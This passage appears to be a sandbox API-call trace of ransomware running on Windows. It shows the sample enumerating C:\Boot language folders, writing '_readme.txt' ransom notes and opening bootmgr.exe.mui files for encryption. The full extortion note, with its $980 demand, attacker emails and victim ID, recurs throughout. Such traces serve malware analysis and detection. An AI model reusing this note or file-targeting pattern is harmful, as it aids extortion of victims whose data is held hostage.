us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.838] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.838] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.838] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.838] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.838] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0111.838] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.838] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.838] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.838] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.838] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.838] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0111.838] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.839] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.839] PathFindFileNameW (pszPath="") returned="" [0111.839] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.839] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.839] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.839] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.839] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0111.839] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0111.839] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.839] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.839] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.840] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.840] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.840] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.840] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0111.840] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.840] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.840] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.840] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.840] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.840] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0111.840] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.840] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.840] PathFindFileNameW (pszPath="") returned="" [0111.840] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.841] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.841] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.841] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.841] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0111.841] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0111.841] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.841] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.841] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.842] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.842] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.842] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.842] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0111.842] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.842] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.842] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.842] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.842] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.842] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0111.842] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.842] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.842] PathFindFileNameW (pszPath="") returned="" [0111.842] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.843] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.843] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.843] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0111.843] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0111.843] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like 